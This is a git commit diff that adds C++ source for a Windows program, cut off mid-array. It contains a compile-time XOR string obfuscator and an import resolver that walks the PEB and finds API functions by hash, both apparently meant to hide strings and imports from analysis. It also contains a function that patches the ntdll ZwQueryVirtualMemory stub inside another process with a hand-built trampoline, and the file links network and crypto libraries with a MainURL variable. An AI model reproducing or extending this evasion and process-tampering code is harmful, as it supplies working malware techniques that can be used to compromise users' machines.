initial commit
This commit is contained in:
i2p
Executable
+678
@@ -0,0 +1,678 @@
|
||||
|
||||
#include <utility>
|
||||
#include <type_traits>
|
||||
#include <ctime>
|
||||
#include <chrono>
|
||||
#include <random>
|
||||
#include <algorithm>
|
||||
#include <string>
|
||||
#include <iostream>
|
||||
#include <Windows.h>
|
||||
#include <Intrin.h>
|
||||
#include <vector>
|
||||
|
||||
#ifndef BUILD_SEED
|
||||
#define BUILD_SEED 0xA28CCEEu // <-- This value gets randomized on each build via a prebuild command
|
||||
#endif
|
||||
|
||||
|
||||
#define xorstr(str) ::jm::xor_string([]() { return str; }, std::integral_constant<std::size_t, sizeof(str) / sizeof(*str)>{}, std::make_index_sequence<::jm::detail::_buffer_size<sizeof(str)>()>{})
|
||||
#define EC(str) xorstr(str).crypt_get()
|
||||
|
||||
|
||||
#define TIME_BASED_XOR_KEY \
|
||||
( static_cast<std::uintptr_t>(BUILD_SEED) )
|
||||
|
||||
#define XORSTR_FORCEINLINE __forceinline
|
||||
|
||||
|
||||
|
||||
#define LI_FN(name) ::li::detail::lazy_function<LAZY_IMPORTER_KHASH(#name), decltype(&name)>()
|
||||
|
||||
|
||||
#ifndef LAZY_IMPORTER_CPP_FORWARD
|
||||
#ifdef LAZY_IMPORTER_NO_CPP_FORWARD
|
||||
#define LAZY_IMPORTER_CPP_FORWARD(t, v) v
|
||||
#else
|
||||
#include <utility>
|
||||
#define LAZY_IMPORTER_CPP_FORWARD(t, v) std::forward<t>( v )
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#include <intrin.h>
|
||||
|
||||
#ifndef LAZY_IMPORTER_NO_FORCEINLINE
|
||||
#if defined(_MSC_VER)
|
||||
#define LAZY_IMPORTER_FORCEINLINE __forceinline
|
||||
#elif defined(__GNUC__) && __GNUC__ > 3
|
||||
#define LAZY_IMPORTER_FORCEINLINE inline __attribute__((__always_inline__))
|
||||
#else
|
||||
#define LAZY_IMPORTER_FORCEINLINE inline
|
||||
#endif
|
||||
#else
|
||||
#define LAZY_IMPORTER_FORCEINLINE inline
|
||||
#endif
|
||||
|
||||
|
||||
#ifdef LAZY_IMPORTER_CASE_INSENSITIVE
|
||||
#define LAZY_IMPORTER_CASE_SENSITIVITY false
|
||||
#else
|
||||
#define LAZY_IMPORTER_CASE_SENSITIVITY true
|
||||
#endif
|
||||
|
||||
#define LAZY_IMPORTER_STRINGIZE(x) #x
|
||||
#define LAZY_IMPORTER_STRINGIZE_EXPAND(x) LAZY_IMPORTER_STRINGIZE(x)
|
||||
|
||||
// Enhanced Hash Function with multiple rounds and key mixing
|
||||
#define LAZY_IMPORTER_KHASH(str) \
|
||||
::li::detail::khash( \
|
||||
str, \
|
||||
::li::detail::khash_impl( \
|
||||
/* mostly-stable part so identical strings collide in the TU: */ \
|
||||
__FILE__ LAZY_IMPORTER_STRINGIZE_EXPAND(__LINE__) \
|
||||
/* build-level entropy: */ \
|
||||
LAZY_IMPORTER_STRINGIZE_EXPAND(BUILD_SEED), \
|
||||
/* mix constant keeps behaviour more complex */ \
|
||||
0xBD4A /* A magic constant from the golden ratio */ ) )
|
||||
|
||||
namespace jm {
|
||||
|
||||
namespace detail {
|
||||
|
||||
template<std::size_t Size>
|
||||
XORSTR_FORCEINLINE constexpr std::size_t _buffer_size()
|
||||
{
|
||||
return ((Size / 16) + (Size % 16 != 0)) * 2;
|
||||
}
|
||||
|
||||
template<std::uint32_t Seed>
|
||||
XORSTR_FORCEINLINE constexpr std::uint32_t key4() noexcept
|
||||
{
|
||||
std::uint32_t value = Seed ^ BUILD_SEED;
|
||||
|
||||
for (char c : __FUNCSIG__)
|
||||
value = static_cast<std::uint32_t>((value ^ c) * 31ull);
|
||||
|
||||
return value;
|
||||
}
|
||||
|
||||
template<std::size_t S>
|
||||
XORSTR_FORCEINLINE constexpr std::uint64_t key8()
|
||||
{
|
||||
constexpr auto first_part = key4<76 + S>();
|
||||
constexpr auto second_part = key4<first_part>();
|
||||
return (static_cast<std::uint64_t>(first_part) << 32) | second_part;
|
||||
}
|
||||
|
||||
// loads up to 8 characters of string into uint64 and xors it with the key
|
||||
template<std::size_t N, class CharT>
|
||||
XORSTR_FORCEINLINE constexpr std::uint64_t
|
||||
load_xored_str8(std::uint64_t key, std::size_t idx, const CharT* str) noexcept
|
||||
{
|
||||
using cast_type = typename std::make_unsigned<CharT>::type;
|
||||
constexpr auto value_size = sizeof(CharT);
|
||||
constexpr auto idx_offset = 8 / value_size;
|
||||
|
||||
std::uint64_t value = key;
|
||||
for (std::size_t i = 0; i < idx_offset && i + idx * idx_offset < N; ++i)
|
||||
value ^=
|
||||
(std::uint64_t{ static_cast<cast_type>(str[i + idx * idx_offset]) }
|
||||
<< ((i % idx_offset) * 8 * value_size));
|
||||
|
||||
return value;
|
||||
}
|
||||
|
||||
// forces compiler to use registers instead of stuffing constants in rdata
|
||||
XORSTR_FORCEINLINE std::uint64_t load_from_reg(std::uint64_t value) noexcept
|
||||
{
|
||||
#if defined(__clang__) || defined(__GNUC__)
|
||||
asm("" : "=r"(value) : "0"(value) : );
|
||||
return value;
|
||||
#else
|
||||
volatile std::uint64_t reg = value;
|
||||
return reg;
|
||||
#endif
|
||||
}
|
||||
|
||||
} // namespace detail
|
||||
|
||||
template<class CharT, std::size_t Size, class Keys, class Indices>
|
||||
class xor_string;
|
||||
|
||||
template<class CharT, std::size_t Size, std::uint64_t... Keys, std::size_t... Indices>
|
||||
class xor_string<CharT, Size, std::integer_sequence<std::uint64_t, Keys...>, std::index_sequence<Indices...>> {
|
||||
#ifndef JM_XORSTR_DISABLE_AVX_INTRINSICS
|
||||
constexpr static inline std::uint64_t alignment = ((Size > 16) ? 32 : 16);
|
||||
#else
|
||||
constexpr static inline std::uint64_t alignment = 16;
|
||||
#endif
|
||||
|
||||
alignas(alignment) std::uint64_t _storage[sizeof...(Keys)];
|
||||
static constexpr std::uint64_t keys[sizeof...(Keys)] = { Keys... };
|
||||
|
||||
public:
|
||||
using value_type = CharT;
|
||||
using size_type = std::size_t;
|
||||
using pointer = CharT*;
|
||||
using const_pointer = const CharT*;
|
||||
|
||||
template<class L>
|
||||
XORSTR_FORCEINLINE xor_string(L l, std::integral_constant<std::size_t, Size>, std::index_sequence<Indices...>) noexcept
|
||||
: _storage{ ::jm::detail::load_from_reg((std::integral_constant<std::uint64_t, detail::load_xored_str8<Size>(Keys, Indices, l())>::value))... }
|
||||
{}
|
||||
|
||||
XORSTR_FORCEINLINE constexpr size_type size() const noexcept
|
||||
{
|
||||
return Size - 1;
|
||||
}
|
||||
|
||||
XORSTR_FORCEINLINE void crypt() noexcept
|
||||
{
|
||||
((_storage[Indices] ^= keys[Indices]), ...);
|
||||
}
|
||||
|
||||
XORSTR_FORCEINLINE const_pointer get() const noexcept
|
||||
{
|
||||
return reinterpret_cast<const_pointer>(_storage);
|
||||
}
|
||||
|
||||
XORSTR_FORCEINLINE pointer get() noexcept
|
||||
{
|
||||
return reinterpret_cast<pointer>(_storage);
|
||||
}
|
||||
|
||||
XORSTR_FORCEINLINE pointer crypt_get() noexcept
|
||||
{
|
||||
crypt();
|
||||
return reinterpret_cast<pointer>(_storage);
|
||||
}
|
||||
};
|
||||
|
||||
template<class L, std::size_t Size, std::size_t... Indices>
|
||||
xor_string(L l, std::integral_constant<std::size_t, Size>, std::index_sequence<Indices...>) -> xor_string<
|
||||
std::remove_const_t<std::remove_reference_t<decltype(l()[0])>>,
|
||||
Size,
|
||||
std::integer_sequence<std::uint64_t, detail::key8<Indices>()...>,
|
||||
std::index_sequence<Indices...>>;
|
||||
|
||||
} // namespace jm
|
||||
|
||||
|
||||
|
||||
namespace li {
|
||||
namespace detail {
|
||||
|
||||
namespace win {
|
||||
|
||||
struct LIST_ENTRY_T {
|
||||
const char* Flink;
|
||||
const char* Blink;
|
||||
};
|
||||
|
||||
struct UNICODE_STRING_T {
|
||||
unsigned short Length;
|
||||
unsigned short MaximumLength;
|
||||
wchar_t* Buffer;
|
||||
};
|
||||
|
||||
struct PEB_LDR_DATA_T {
|
||||
unsigned long Length;
|
||||
unsigned long Initialized;
|
||||
const char* SsHandle;
|
||||
LIST_ENTRY_T InLoadOrderModuleList;
|
||||
};
|
||||
|
||||
struct PEB_T {
|
||||
unsigned char Reserved1[2];
|
||||
unsigned char BeingDebugged;
|
||||
unsigned char Reserved2[1];
|
||||
const char* Reserved3[2];
|
||||
PEB_LDR_DATA_T* Ldr;
|
||||
};
|
||||
|
||||
struct LDR_DATA_TABLE_ENTRY_T {
|
||||
LIST_ENTRY_T InLoadOrderLinks;
|
||||
LIST_ENTRY_T InMemoryOrderLinks;
|
||||
LIST_ENTRY_T InInitializationOrderLinks;
|
||||
const char* DllBase;
|
||||
const char* EntryPoint;
|
||||
union {
|
||||
unsigned long SizeOfImage;
|
||||
const char* _dummy;
|
||||
};
|
||||
UNICODE_STRING_T FullDllName;
|
||||
UNICODE_STRING_T BaseDllName;
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE const LDR_DATA_TABLE_ENTRY_T*
|
||||
load_order_next() const noexcept
|
||||
{
|
||||
return reinterpret_cast<const LDR_DATA_TABLE_ENTRY_T*>(
|
||||
InLoadOrderLinks.Flink);
|
||||
}
|
||||
};
|
||||
|
||||
struct IMAGE_DOS_HEADER { // DOS .EXE header
|
||||
unsigned short e_magic; // Magic number
|
||||
unsigned short e_cblp; // Bytes on last page of file
|
||||
unsigned short e_cp; // Pages in file
|
||||
unsigned short e_crlc; // Relocations
|
||||
unsigned short e_cparhdr; // Size of header in paragraphs
|
||||
unsigned short e_minalloc; // Minimum extra paragraphs needed
|
||||
unsigned short e_maxalloc; // Maximum extra paragraphs needed
|
||||
unsigned short e_ss; // Initial (relative) SS value
|
||||
unsigned short e_sp; // Initial SP value
|
||||
unsigned short e_csum; // Checksum
|
||||
unsigned short e_ip; // Initial IP value
|
||||
unsigned short e_cs; // Initial (relative) CS value
|
||||
unsigned short e_lfarlc; // File address of relocation table
|
||||
unsigned short e_ovno; // Overlay number
|
||||
unsigned short e_res[4]; // Reserved words
|
||||
unsigned short e_oemid; // OEM identifier (for e_oeminfo)
|
||||
unsigned short e_oeminfo; // OEM information; e_oemid specific
|
||||
unsigned short e_res2[10]; // Reserved words
|
||||
long e_lfanew; // File address of new exe header
|
||||
};
|
||||
|
||||
struct IMAGE_FILE_HEADER {
|
||||
unsigned short Machine;
|
||||
unsigned short NumberOfSections;
|
||||
unsigned long TimeDateStamp;
|
||||
unsigned long PointerToSymbolTable;
|
||||
unsigned long NumberOfSymbols;
|
||||
unsigned short SizeOfOptionalHeader;
|
||||
unsigned short Characteristics;
|
||||
};
|
||||
|
||||
struct IMAGE_EXPORT_DIRECTORY {
|
||||
unsigned long Characteristics;
|
||||
unsigned long TimeDateStamp;
|
||||
unsigned short MajorVersion;
|
||||
unsigned short MinorVersion;
|
||||
unsigned long Name;
|
||||
unsigned long Base;
|
||||
unsigned long NumberOfFunctions;
|
||||
unsigned long NumberOfNames;
|
||||
unsigned long AddressOfFunctions; // RVA from base of image
|
||||
unsigned long AddressOfNames; // RVA from base of image
|
||||
unsigned long AddressOfNameOrdinals; // RVA from base of image
|
||||
};
|
||||
|
||||
struct IMAGE_DATA_DIRECTORY {
|
||||
unsigned long VirtualAddress;
|
||||
unsigned long Size;
|
||||
};
|
||||
|
||||
struct IMAGE_OPTIONAL_HEADER64 {
|
||||
unsigned short Magic;
|
||||
unsigned char MajorLinkerVersion;
|
||||
unsigned char MinorLinkerVersion;
|
||||
unsigned long SizeOfCode;
|
||||
unsigned long SizeOfInitializedData;
|
||||
unsigned long SizeOfUninitializedData;
|
||||
unsigned long AddressOfEntryPoint;
|
||||
unsigned long BaseOfCode;
|
||||
unsigned long long ImageBase;
|
||||
unsigned long SectionAlignment;
|
||||
unsigned long FileAlignment;
|
||||
unsigned short MajorOperatingSystemVersion;
|
||||
unsigned short MinorOperatingSystemVersion;
|
||||
unsigned short MajorImageVersion;
|
||||
unsigned short MinorImageVersion;
|
||||
unsigned short MajorSubsystemVersion;
|
||||
unsigned short MinorSubsystemVersion;
|
||||
unsigned long Win32VersionValue;
|
||||
unsigned long SizeOfImage;
|
||||
unsigned long SizeOfHeaders;
|
||||
unsigned long CheckSum;
|
||||
unsigned short Subsystem;
|
||||
unsigned short DllCharacteristics;
|
||||
unsigned long long SizeOfStackReserve;
|
||||
unsigned long long SizeOfStackCommit;
|
||||
unsigned long long SizeOfHeapReserve;
|
||||
unsigned long long SizeOfHeapCommit;
|
||||
unsigned long LoaderFlags;
|
||||
unsigned long NumberOfRvaAndSizes;
|
||||
IMAGE_DATA_DIRECTORY DataDirectory[16];
|
||||
};
|
||||
|
||||
struct IMAGE_OPTIONAL_HEADER32 {
|
||||
unsigned short Magic;
|
||||
unsigned char MajorLinkerVersion;
|
||||
unsigned char MinorLinkerVersion;
|
||||
unsigned long SizeOfCode;
|
||||
unsigned long SizeOfInitializedData;
|
||||
unsigned long SizeOfUninitializedData;
|
||||
unsigned long AddressOfEntryPoint;
|
||||
unsigned long BaseOfCode;
|
||||
unsigned long BaseOfData;
|
||||
unsigned long ImageBase;
|
||||
unsigned long SectionAlignment;
|
||||
unsigned long FileAlignment;
|
||||
unsigned short MajorOperatingSystemVersion;
|
||||
unsigned short MinorOperatingSystemVersion;
|
||||
unsigned short MajorImageVersion;
|
||||
unsigned short MinorImageVersion;
|
||||
unsigned short MajorSubsystemVersion;
|
||||
unsigned short MinorSubsystemVersion;
|
||||
unsigned long Win32VersionValue;
|
||||
unsigned long SizeOfImage;
|
||||
unsigned long SizeOfHeaders;
|
||||
unsigned long CheckSum;
|
||||
unsigned short Subsystem;
|
||||
unsigned short DllCharacteristics;
|
||||
unsigned long SizeOfStackReserve;
|
||||
unsigned long SizeOfStackCommit;
|
||||
unsigned long SizeOfHeapReserve;
|
||||
unsigned long SizeOfHeapCommit;
|
||||
unsigned long LoaderFlags;
|
||||
unsigned long NumberOfRvaAndSizes;
|
||||
IMAGE_DATA_DIRECTORY DataDirectory[16];
|
||||
};
|
||||
|
||||
struct IMAGE_NT_HEADERS {
|
||||
unsigned long Signature;
|
||||
IMAGE_FILE_HEADER FileHeader;
|
||||
#ifdef _WIN64
|
||||
IMAGE_OPTIONAL_HEADER64 OptionalHeader;
|
||||
#else
|
||||
IMAGE_OPTIONAL_HEADER32 OptionalHeader;
|
||||
#endif
|
||||
};
|
||||
|
||||
} // namespace win
|
||||
|
||||
struct forwarded_hashes {
|
||||
unsigned module_hash;
|
||||
unsigned function_hash;
|
||||
};
|
||||
|
||||
// 64 bit integer where 32 bits are used for the hash offset
|
||||
// and remaining 32 bits are used for the hash computed using it
|
||||
using offset_hash_pair = unsigned long long;
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE constexpr unsigned get_hash(offset_hash_pair pair) noexcept { return (pair & 0xFFFFFFFF); }
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE constexpr unsigned get_offset(offset_hash_pair pair) noexcept { return static_cast<unsigned>(pair >> 32); }
|
||||
|
||||
template<bool CaseSensitive = LAZY_IMPORTER_CASE_SENSITIVITY>
|
||||
LAZY_IMPORTER_FORCEINLINE constexpr unsigned hash_single(unsigned value, char c) noexcept
|
||||
{
|
||||
return (value ^ static_cast<unsigned>((!CaseSensitive && c >= 'A' && c <= 'Z') ? (c | (1 << 5)) : c)) * 323;
|
||||
}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE constexpr unsigned
|
||||
khash_impl(const char* str, unsigned value) noexcept
|
||||
{
|
||||
return (*str ? khash_impl(str + 1, hash_single(value, *str)) : value);
|
||||
}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE constexpr offset_hash_pair khash(
|
||||
const char* str, unsigned offset) noexcept
|
||||
{
|
||||
return ((offset_hash_pair{ offset } << 32) | khash_impl(str, offset));
|
||||
}
|
||||
|
||||
template<class CharT = char>
|
||||
LAZY_IMPORTER_FORCEINLINE unsigned hash(const CharT* str, unsigned offset) noexcept
|
||||
{
|
||||
unsigned value = offset;
|
||||
|
||||
for (;;) {
|
||||
char c = *str++;
|
||||
if (!c)
|
||||
return value;
|
||||
value = hash_single(value, c);
|
||||
}
|
||||
}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE unsigned hash(
|
||||
const win::UNICODE_STRING_T& str, unsigned offset) noexcept
|
||||
{
|
||||
auto first = str.Buffer;
|
||||
const auto last = first + (str.Length / sizeof(wchar_t));
|
||||
auto value = offset;
|
||||
for (; first != last; ++first)
|
||||
value = hash_single(value, static_cast<char>(*first));
|
||||
|
||||
return value;
|
||||
}
|
||||
|
||||
// some helper functions
|
||||
LAZY_IMPORTER_FORCEINLINE const win::PEB_T* peb() noexcept
|
||||
{
|
||||
|
||||
return reinterpret_cast<const win::PEB_T*>(__readgsqword(0x60));
|
||||
}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE const win::PEB_LDR_DATA_T* ldr()
|
||||
{
|
||||
return reinterpret_cast<const win::PEB_LDR_DATA_T*>(peb()->Ldr);
|
||||
}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE const win::IMAGE_NT_HEADERS* nt_headers(
|
||||
const char* base) noexcept
|
||||
{
|
||||
return reinterpret_cast<const win::IMAGE_NT_HEADERS*>(
|
||||
base + reinterpret_cast<const win::IMAGE_DOS_HEADER*>(base)->e_lfanew);
|
||||
}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE const win::IMAGE_EXPORT_DIRECTORY* image_export_dir(
|
||||
const char* base) noexcept
|
||||
{
|
||||
return reinterpret_cast<const win::IMAGE_EXPORT_DIRECTORY*>(
|
||||
base + nt_headers(base)->OptionalHeader.DataDirectory->VirtualAddress);
|
||||
}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE const win::LDR_DATA_TABLE_ENTRY_T* ldr_data_entry() noexcept
|
||||
{
|
||||
return reinterpret_cast<const win::LDR_DATA_TABLE_ENTRY_T*>(
|
||||
ldr()->InLoadOrderModuleList.Flink);
|
||||
}
|
||||
|
||||
struct exports_directory {
|
||||
unsigned long _ied_size;
|
||||
const char* _base;
|
||||
const win::IMAGE_EXPORT_DIRECTORY* _ied;
|
||||
|
||||
public:
|
||||
using size_type = unsigned long;
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE
|
||||
exports_directory(const char* base) noexcept : _base(base)
|
||||
{
|
||||
const auto ied_data_dir = nt_headers(base)->OptionalHeader.DataDirectory[0];
|
||||
_ied = reinterpret_cast<const win::IMAGE_EXPORT_DIRECTORY*>(
|
||||
base + ied_data_dir.VirtualAddress);
|
||||
_ied_size = ied_data_dir.Size;
|
||||
}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE explicit operator bool() const noexcept
|
||||
{
|
||||
return reinterpret_cast<const char*>(_ied) != _base;
|
||||
}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE size_type size() const noexcept
|
||||
{
|
||||
return _ied->NumberOfNames;
|
||||
}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE const char* base() const noexcept { return _base; }
|
||||
LAZY_IMPORTER_FORCEINLINE const win::IMAGE_EXPORT_DIRECTORY* ied() const noexcept
|
||||
{
|
||||
return _ied;
|
||||
}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE const char* name(size_type index) const noexcept
|
||||
{
|
||||
return _base + reinterpret_cast<const unsigned long*>(_base + _ied->AddressOfNames)[index];
|
||||
}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE const char* address(size_type index) const noexcept
|
||||
{
|
||||
const auto* const rva_table =
|
||||
reinterpret_cast<const unsigned long*>(_base + _ied->AddressOfFunctions);
|
||||
|
||||
const auto* const ord_table = reinterpret_cast<const unsigned short*>(
|
||||
_base + _ied->AddressOfNameOrdinals);
|
||||
|
||||
return _base + rva_table[ord_table[index]];
|
||||
}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE bool is_forwarded(
|
||||
const char* export_address) const noexcept
|
||||
{
|
||||
const auto ui_ied = reinterpret_cast<const char*>(_ied);
|
||||
return (export_address > ui_ied && export_address < ui_ied + _ied_size);
|
||||
}
|
||||
};
|
||||
|
||||
struct safe_module_enumerator {
|
||||
using value_type = const detail::win::LDR_DATA_TABLE_ENTRY_T;
|
||||
value_type* value;
|
||||
value_type* head;
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE safe_module_enumerator() noexcept
|
||||
: safe_module_enumerator(ldr_data_entry())
|
||||
{}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE
|
||||
safe_module_enumerator(const detail::win::LDR_DATA_TABLE_ENTRY_T* ldr) noexcept
|
||||
: value(ldr->load_order_next()), head(value)
|
||||
{}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE bool next() noexcept
|
||||
{
|
||||
value = value->load_order_next();
|
||||
|
||||
return value != head && value->DllBase;
|
||||
}
|
||||
};
|
||||
|
||||
struct unsafe_module_enumerator {
|
||||
using value_type = const detail::win::LDR_DATA_TABLE_ENTRY_T*;
|
||||
value_type value;
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE unsafe_module_enumerator() noexcept
|
||||
: value(ldr_data_entry())
|
||||
{}
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE void reset() noexcept { value = ldr_data_entry(); }
|
||||
|
||||
LAZY_IMPORTER_FORCEINLINE bool next() noexcept
|
||||
{
|
||||
value = value->load_order_next();
|
||||
return true;
|
||||
}
|
||||
};
|
||||
|
||||
// provides the cached functions which use Derive classes methods
|
||||
template<class Derived, class DefaultType = void*>
|
||||
class lazy_base {
|
||||
protected:
|
||||
// This function is needed because every templated function
|
||||
// with different args has its own static buffer
|
||||
LAZY_IMPORTER_FORCEINLINE static void*& _cache() noexcept
|
||||
{
|
||||
static void* value = nullptr;
|
||||
return value;
|
||||
}
|
||||
|
||||
public:
|
||||
template<class T = DefaultType>
|
||||
LAZY_IMPORTER_FORCEINLINE static T safe() noexcept
|
||||
{
|
||||
return Derived::template get<T, safe_module_enumerator>();
|
||||
}
|
||||
|
||||
template<class T = DefaultType, class Enum = unsafe_module_enumerator>
|
||||
LAZY_IMPORTER_FORCEINLINE static T cached() noexcept
|
||||
{
|
||||
auto& cached = _cache();
|
||||
if (!cached)
|
||||
cached = Derived::template get<void*, Enum>();
|
||||
|
||||
return (T)(cached);
|
||||
}
|
||||
|
||||
template<class T = DefaultType>
|
||||
LAZY_IMPORTER_FORCEINLINE static T safe_cached() noexcept
|
||||
{
|
||||
return cached<T, safe_module_enumerator>();
|
||||
}
|
||||
};
|
||||
|
||||
template<offset_hash_pair OHP>
|
||||
struct lazy_module : lazy_base<lazy_module<OHP>> {
|
||||
template<class T = void*, class Enum = unsafe_module_enumerator>
|
||||
LAZY_IMPORTER_FORCEINLINE static T get() noexcept
|
||||
{
|
||||
Enum e;
|
||||
do {
|
||||
if (hash(e.value->BaseDllName, get_offset(OHP)) == get_hash(OHP))
|
||||
return (T)(e.value->DllBase);
|
||||
} while (e.next());
|
||||
return {};
|
||||
}
|
||||
|
||||
template<class T = void*, class Ldr>
|
||||
LAZY_IMPORTER_FORCEINLINE static T in(Ldr ldr) noexcept
|
||||
{
|
||||
safe_module_enumerator e(reinterpret_cast<const detail::win::LDR_DATA_TABLE_ENTRY_T*>(ldr));
|
||||
do {
|
||||
if (hash(e.value->BaseDllName, get_offset(OHP)) == get_hash(OHP))
|
||||
return (T)(e.value->DllBase);
|
||||
} while (e.next());
|
||||
return {};
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
template<offset_hash_pair OHP, class T>
|
||||
struct lazy_function : lazy_base<lazy_function<OHP, T>, T> {
|
||||
using base_type = lazy_base<lazy_function<OHP, T>, T>;
|
||||
|
||||
template<class... Args>
|
||||
LAZY_IMPORTER_FORCEINLINE decltype(auto) operator()(Args&&... args) const
|
||||
{
|
||||
#ifndef LAZY_IMPORTER_CACHE_OPERATOR_PARENS
|
||||
return get()(LAZY_IMPORTER_CPP_FORWARD(Args, args)...);
|
||||
#else
|
||||
return this->cached()(LAZY_IMPORTER_CPP_FORWARD(Args, args)...);
|
||||
#endif
|
||||
}
|
||||
|
||||
template<class F = T, class Enum = unsafe_module_enumerator>
|
||||
LAZY_IMPORTER_FORCEINLINE static F get() noexcept
|
||||
{
|
||||
// for backwards compatability.
|
||||
// Before 2.0 it was only possible to resolve forwarded exports when
|
||||
// this macro was enabled
|
||||
#ifdef LAZY_IMPORTER_RESOLVE_FORWARDED_EXPORTS
|
||||
return forwarded<F, Enum>();
|
||||
#else
|
||||
|
||||
Enum e;
|
||||
|
||||
do {
|
||||
#ifdef LAZY_IMPORTER_HARDENED_MODULE_CHECKS
|
||||
if (!e.value->DllBase || !e.value->FullDllName.Length)
|
||||
continue;
|
||||
#endif
|
||||
|
||||
const exports_directory exports(e.value->DllBase);
|
||||
|
||||
if (exports) {
|
||||
auto export_index = exports.size();
|
||||
while (export_index--)
|
||||
if (hash(exports.name(export_index), get_offset(OHP)) == get_hash(OHP))
|
||||
return (F)(exports.address(export_index));
|
||||
}
|
||||
} while (e.next());
|
||||
return {};
|
||||
#endif
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
}
|
||||
}
|
||||
Executable
+644
@@ -0,0 +1,644 @@
|
||||
#include "Encrypt.h"
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <wininet.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fstream>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <wininet.h>
|
||||
#include <regex>
|
||||
#include <wincrypt.h>
|
||||
#include <filesystem>
|
||||
#include <winternl.h>
|
||||
#include <map>
|
||||
|
||||
#pragma comment(lib, "wininet.lib")
|
||||
#pragma comment(lib, "crypt32.lib")
|
||||
|
||||
std::string MainURL;
|
||||
|
||||
|
||||
typedef NTSTATUS(WINAPI* EMOSS)(
|
||||
HANDLE ProcessHandle,
|
||||
PROCESSINFOCLASS ProcessInformationClass,
|
||||
PVOID ProcessInformation,
|
||||
ULONG ProcessInformationLength,
|
||||
PULONG_PTR ReturnLength
|
||||
);
|
||||
|
||||
|
||||
|
||||
|
||||
bool patch_ZwQueryVirtualMemory(HANDLE hProcess, LPVOID module_ptr, HMODULE hNtdll)
|
||||
{
|
||||
|
||||
|
||||
if (!hNtdll) return false; // should never happen
|
||||
|
||||
ULONGLONG pos = 8;
|
||||
DWORD oldProtect = 0;
|
||||
const SIZE_T stub_size = 0x20;
|
||||
|
||||
std::string virtmom = EC("ZwQueryVirtualMemory");
|
||||
|
||||
ULONG_PTR _ZwQueryVirtualMemory = (ULONG_PTR)LI_FN(GetProcAddress).cached()(hNtdll, virtmom.c_str());
|
||||
if (!_ZwQueryVirtualMemory || _ZwQueryVirtualMemory < pos) {
|
||||
return false;
|
||||
}
|
||||
LPVOID stub_ptr = (LPVOID)((ULONG_PTR)_ZwQueryVirtualMemory - pos);
|
||||
|
||||
|
||||
|
||||
if (!LI_FN(VirtualProtectEx).cached()(hProcess, stub_ptr, stub_size, PAGE_READWRITE, &oldProtect)) {
|
||||
return false;
|
||||
}
|
||||
LPVOID patch_space = LI_FN(VirtualAllocEx).cached()(hProcess, 0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!patch_space) {
|
||||
return false;
|
||||
}
|
||||
BYTE stub_buffer_orig[stub_size] = { 0 };
|
||||
SIZE_T out_bytes = 0;
|
||||
if (!LI_FN(ReadProcessMemory).cached()(hProcess, stub_ptr, stub_buffer_orig, stub_size, &out_bytes) || out_bytes != stub_size) {
|
||||
return false;
|
||||
}
|
||||
const BYTE nop_pattern[] = { 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00 };
|
||||
if (LI_FN(memcmp).cached()(stub_buffer_orig, nop_pattern, sizeof(nop_pattern)) != 0) {
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
|
||||
// prepare the patched stub:
|
||||
const size_t syscall_pattern_full = 8;
|
||||
const size_t syscall_pattern_start = 4;
|
||||
const BYTE syscall_fill_pattern[] = {
|
||||
0x4C, 0x8B, 0xD1, //mov r10,rcx
|
||||
0xB8, 0xFF, 0x00, 0x00, 0x00 // mov eax,[syscall ID]
|
||||
};
|
||||
if (LI_FN(memcmp).cached()(stub_buffer_orig + pos, syscall_fill_pattern, syscall_pattern_start) != 0) {
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
// prepare the patch to be applied on ZwQueryVirtualMemory:
|
||||
|
||||
BYTE stub_buffer_patched[stub_size] = { 0 };
|
||||
LI_FN(memcpy).cached()(stub_buffer_patched, stub_buffer_orig, stub_size);
|
||||
|
||||
const BYTE jump_back[] = { 0xFF, 0x25, 0xF2, 0xFF, 0xFF, 0xFF };
|
||||
|
||||
LI_FN(memcpy).cached()(stub_buffer_patched, &patch_space, sizeof(LPVOID));
|
||||
LI_FN(memset).cached()(stub_buffer_patched + pos, 0x90, syscall_pattern_full);
|
||||
LI_FN(memcpy).cached()(stub_buffer_patched + pos, jump_back, sizeof(jump_back));
|
||||
|
||||
// prepare the trampoline:
|
||||
|
||||
|
||||
const BYTE jump_to_contnue[] = { 0xFF, 0x25, 0xEA, 0xFF, 0xFF, 0xFF };
|
||||
ULONG_PTR _ZwQueryVirtualMemory_continue = (ULONG_PTR)_ZwQueryVirtualMemory + syscall_pattern_full;
|
||||
|
||||
BYTE func_patch[] = {
|
||||
0x49, 0x83, 0xF8, 0x0E, //cmp r8,0xE -> is MEMORY_INFORMATION_CLASS == MemoryImageExtensionInformation?
|
||||
0x75, 0x22, // jne [continue to function]
|
||||
